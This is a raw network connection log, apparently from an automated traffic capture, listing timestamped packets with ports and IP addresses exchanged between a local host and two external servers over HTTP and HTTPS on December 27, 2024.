Dec 27, 2024 22:33:13.312176943 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.312387943 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.358233929 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.361638069 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.361752033 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.361805916 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.362854958 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.362968922 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.363014936 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.365448952 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.365536928 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.365602016 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.367896080 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.368010044 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.368057013 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.370404005 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.370524883 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.370573044 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.372915030 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.373008013 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.373055935 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.392448902 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.392532110 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.392589092 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.393704891 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.394191980 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.394238949 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.394311905 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.394371033 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.394465923 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.394529104 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.396708012 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.396759033 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.396848917 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.399238110 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.399279118 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.399288893 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.401710987 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.401767969 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.401827097 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.404315948 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.404366970 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.404366970 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.406766891 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.406826973 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.406877995 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.409317017 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.409364939 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.409408092 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.411792994 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.411842108 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.411974907 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.414314032 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.414361954 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.414436102 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.416836977 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.416894913 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.416937113 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.419342041 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.419406891 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.419414043 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.421813011 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.421860933 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.421906948 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.422929049 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.422993898 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:13.423124075 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.424196959 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.424245119 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.424292088 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.426441908 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.426457882 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.426486969 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.428602934 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.428647995 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.428724051 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.430752993 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.430799961 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.430847883 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.432846069 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.432899952 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.432951927 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.434945107 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.434988976 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.435003996 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.436952114 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.437004089 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.437015057 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.473995924 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.474047899 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.474086046 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.474874020 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.474932909 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.474957943 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.476778984 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.476830006 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.476872921 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.478626013 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.478672981 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.478719950 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.480515957 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.480570078 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.480616093 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.482384920 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.482402086 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.482431889 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.484364033 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.484411001 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.484447002 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.486087084 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.486131907 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.486274958 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.488010883 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.488056898 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.488081932 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.489833117 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.489877939 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.489890099 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.491705894 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.491750002 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.491863966 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.493627071 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.493691921 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.493753910 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.495521069 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.495568037 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.495671034 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.497365952 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.497416019 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.497482061 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.499272108 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.499309063 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.499326944 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.501204014 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.501247883 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.501260042 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.502995968 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.503043890 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.503097057 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.504852057 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.504899979 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.504925013 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.506701946 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.506753922 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.506805897 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.508590937 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.508636951 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.508723974 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.510515928 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.510562897 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.510592937 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.512429953 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.512478113 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.512487888 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.537163019 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.537216902 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.537287951 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.538033962 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.538080931 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.563023090 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.563072920 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.563122034 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.563795090 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.563908100 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.563951969 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.565480947 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.565587997 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.565645933 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.567187071 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.567334890 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.567383051 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.568844080 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.568949938 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.569005966 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.570574999 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.570796013 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.570843935 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.572207928 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.572336912 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.572385073 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.573882103 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.574033022 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.574079037 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.575557947 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.575700045 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.575747967 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.577244043 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.577361107 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.577421904 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.578968048 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.579109907 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.579163074 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.585925102 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.586055040 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.586106062 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.586745024 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.586770058 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.586819887 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.587647915 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.587742090 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.587788105 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.589277983 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.589390039 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.589437962 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.590970993 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.591068029 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.591116905 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.592633963 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.592756033 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.592807055 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.594314098 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.594360113 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.594403028 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.596019983 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.596131086 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.596178055 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.597729921 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.597788095 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.597834110 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.599351883 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.599450111 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.599495888 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.601089001 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.601185083 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.601232052 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.602746964 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.603025913 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.603079081 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.604402065 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.604502916 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.604552031 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.606086016 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.606195927 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.606261969 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.607777119 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.607831001 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.607875109 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.609451056 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.609576941 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.609622955 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.610908985 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.611080885 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.611121893 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.612083912 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.612261057 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.612301111 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.613441944 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.613483906 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.613528013 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.675298929 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.675373077 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.675555944 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.675798893 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.675867081 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.675941944 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.676676035 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.676784039 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.676826954 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.677829981 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.677982092 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.678030014 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.679019928 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.679151058 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.679193974 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.680217981 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.680344105 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.680387020 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.681427956 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:13.738974094 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:13.917249918 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.917372942 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:13.917437077 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.139019966 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.139059067 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.139075041 CET	49745	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.139084101 CET	443	49745	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.145086050 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.145173073 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.145224094 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.156502962 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.156616926 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.156666040 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.213895082 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.213895082 CET	49746	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.213921070 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.213929892 CET	443	49746	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.219116926 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.219176054 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.219208956 CET	49747	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.219228029 CET	443	49747	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.332206964 CET	49749	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.332242966 CET	443	49749	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.332304955 CET	49749	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.332967997 CET	49749	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.332978010 CET	443	49749	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.362147093 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.362185955 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.362379074 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.372651100 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.372661114 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.372719049 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.372950077 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.372957945 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.374560118 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.374571085 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.439635038 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:14.471012115 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.471035957 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:14.471128941 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.472146034 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:14.472161055 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.295800924 CET	49749	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.632755041 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.632826090 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.634363890 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.634377956 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.634643078 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.636167049 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.636183023 CET	49750	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.636241913 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.637465954 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.637537956 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.638597012 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.638608932 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.638936043 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.640119076 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.640140057 CET	49751	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.640207052 CET	443	49751	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.736584902 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.736646891 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.738117933 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.738137960 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.738480091 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:15.777368069 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.777368069 CET	49752	443	192.168.2.4	104.21.60.24
Dec 27, 2024 22:33:15.777515888 CET	443	49752	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406203032 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406250954 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406280041 CET	443	49750	104.21.60.24	192.168.2.4
Dec 27, 2024 22:33:16.406303883 CET	443	49750	104.21.60.24	192.168.2.4
